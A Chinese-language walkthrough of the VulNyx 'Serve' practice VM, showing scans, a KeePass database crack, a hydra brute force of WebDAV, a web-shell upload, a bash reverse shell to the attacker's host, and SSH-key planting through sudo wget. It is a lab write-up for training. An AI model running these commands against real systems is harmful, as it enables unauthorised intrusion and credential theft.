通过百度网盘分享的文件:VulNyx - Serve.ova
链接:https://pan.baidu.com/s/1zBcz072xIbMqBK9JXjRypg?pwd=6666
提取码:6666
靶场地址:VulNyx: Free Cybersecurity Platform | Enthusiasts & Professionals
启动靶机,启动Kali,我用的都是NAT模式,桥接也可以
可以看到靶机IP192.168.33.131,Kali的IP是192.168.33.133
信息收集
确保靶机在线
namp扫描:nmap -sV -p- -A 192.168.33.131
扫到22和80端口,那就是有两个攻击方向,
- 我们可以首先查看目标的网页内容,看看是否有任何潜在的漏洞(如文件上传漏洞、目录遍历、未授权访问等)。可以使用工具如
gobuster
或dirb
进行目录暴力枚举,寻找隐藏目录或文件。 - 如果目标主机上存在弱密码,可以尝试暴力破解SSH登录密码,常用工具是
hydra。
我们可以先试试ssh方向,直接爆破root用户,如果靶机的root是弱密码的话,显然这个时间太长了,可能还爆破不出来,所以这条路放弃了,我们探索挖掘HTTP服务吧
访问http://192.168.33.131/并没发现什么有价值的信息,看来我们要进行目录和文件的挖掘了
我常用的是gobuster和feroxbuster,两个都很好用,基本上我两个都会用,因为有时候有些目录或文件扫不出来,有时候我还会用Dirbuuster,FFUF,Wfuzz,其实都挺好用的,我把这些工具都用了下,字典我最常用的是directory-list-2.3-medium.txt和common.txt,这次我用了directory-list-2.3-medium.txt
1. common.txt
- 这个字典文件相对较小,包含常见的文件和目录名。
common.txt
主要用于快速枚举,尤其是在时间有限或者仅想快速找到一些常见的路径时使用。因为它字典较小,所以速度更快,但覆盖面有限。- 用于初步探测,寻找常见的目录和文件(如
admin
、login
、index.html
等),特别适合在Web应用中快速验证一些常见路径。
2. directory-list-2.3-medium.txt
- 相较于
common.txt
,directory-list-2.3-medium.txt
是一个中等大小的字典文件,包含了更多的可能路径和文件名。 - 这个字典更全面,包含了大量可能存在的目录和文件名称,适合更深入和全面的扫描。虽然扫描时间较长,但可能发现更多未公开的或不常见的路径。
- 适合在初步探测后进行更全面的扫描,或当你怀疑目标服务器可能隐藏更多的目录和文件时使用。
gobuster:gobuster dir -u http://192.168.33.131 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
feroxbuster:feroxbuster -u http://192.168.33.131 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf:ffuf -u http://192.168.33.131/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
FUZZ
: 指定模糊的位置。
wfuzz:
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://192.168.33.131/FUZZ
大致可以看出,/javascript
,/secrets
,/webdav
,/server-status,这些目录有用,一一访问看看,发现webdav
是需要账户密码的,其他的都是拒绝访问,一一访问后,并没有什么有用的价值,也没有其他什么方法,这时我需要加入一些后缀的来挖掘敏感目录和文件来找到更多有用的信息
我用feroxbuster :feroxbuster -u http://192.168.33.131 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x bak,db,txt
经过扫描发现了新的文件notes.txt,打开看看
从中我知道了三个有用的信息:用户teo,数据库在secret目录中,“X”要改成员工编号
我访问了http://192.168.33.131/secrets/页面上什么也没有,查看源代码后看到了一列数字,但是不知道是干嘛的
看来我们要在secrets中挖掘信息了,并且是数据库,用feroxbuster
feroxbuster -u http://192.168.33.131/secrets/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x db,sql,kdbx
一看是我怎么扫都扫不到有用信息,我看了别人的做法后,他们加了kdbx,我也不知道还有这个种数据库的后缀,我百度后才知道,kdbx是 KeePass 密码管理器使用的文件格式,用于存储加密的密码数据库,并不是传统数据库后缀,它用于存储加密的密码和其他敏感信息,如用户名、网站等。用户可以通过 KeePass 或其他支持 .kdbx
格式的工具来打开和管理这个文件。根据那封信的说法,结合/webdav目录,大概也能出出数据库管理的是密码等信息,我还真是不细心,现在知道了。
扫描后发现关键信息db.kdbx
这是个数据库,我们先把它下载下载,wget http://192.168.33.131/secrets/db.kdbx
我们下载keepassxc,并打开db.kdbx,我直接在主机上下载了,然后打开,但是需要密码!!
怎么把呢,爆破吧。
首先,我用keepass2john
将 db.kdbx 文件转换为 John 可理解的哈希值格式,并输出到一个文件中。
然后,用John来爆破,密码为:dreams
接着我们打开db.kdbx,看到了用户admin,和密码w3bd4vXXX,看到3个“X”(keepassxc进行截图会消失,不是我不放图),我想到了要把“X”换成员工编号,一个一个式不现实,只能用脚本了替换,然后爆破。
首先,我写了一个python脚本pass.py用来生成密码,并保存在一个passwords.txt中:
with open('passwords.txt','w') as f:
for i in range(0,10):
for j in range(0,10):
for k in range(0,10):
f.write("w3bd4v"+str(i)+str(j)+str(k)+'\n')
然后运行:python3 pass.py,passwords.txt中就生成了密码
接着便是破解,不消片刻,破解成功:hydra -l admin -P passwords.txt http-get://192.168.33.131/webdav
现在可以登陆/webdav了,居然没什么信息
我们可以试试能不能上传文件,创建一个a.txt,用crul上传,要加上--digest
发现可以上传
那我们可以上传一句话木马反弹shell,上传后,
简单测试下,没啥问题
反弹shell
先开启4444端口监听
再把bash -c "bash -i >& /dev/tcp/192.168.33.133/4444 0>&1"进行URL编码
接着接入url中,回车
成功反弹shell
到处看看,找找有什么有用的信息
在/etc/passwd中,可以看到
我发现teo用户,他是bash,说明他有登录权限并且可以执行命令
接着进行sudo -l列出当前用户可以使用 sudo
执行的所有命令,以及是否需要提供密码
看到这个,我们可以利用/usr/bin/wget来提权,先看看teo的私钥,很乱,没法用
但是公钥是可以的
开始操作
我们先把我们的公钥复制到authorized_keys 里
接着开启HTTP服务
然后sudo -u teo /usr/bin/wget http://192.168.33.133:8000/authorized_keys -O /home/teo/.ssh/authorized_keys,注意8000端口,接收成功了
现在登录就可以了,yes
ls看到了user.txt,这便是我们要的flag
sudo -l发现一个脚本,并且是root用户的,我们是这提权看看
执行发现不行
根据提示操作
我也没理解这是什么,应该是个帮助文档
再看看另一个,我一时也看不出这是什么
我看了别人的才知道这是一个关于man的,最后还是user.txt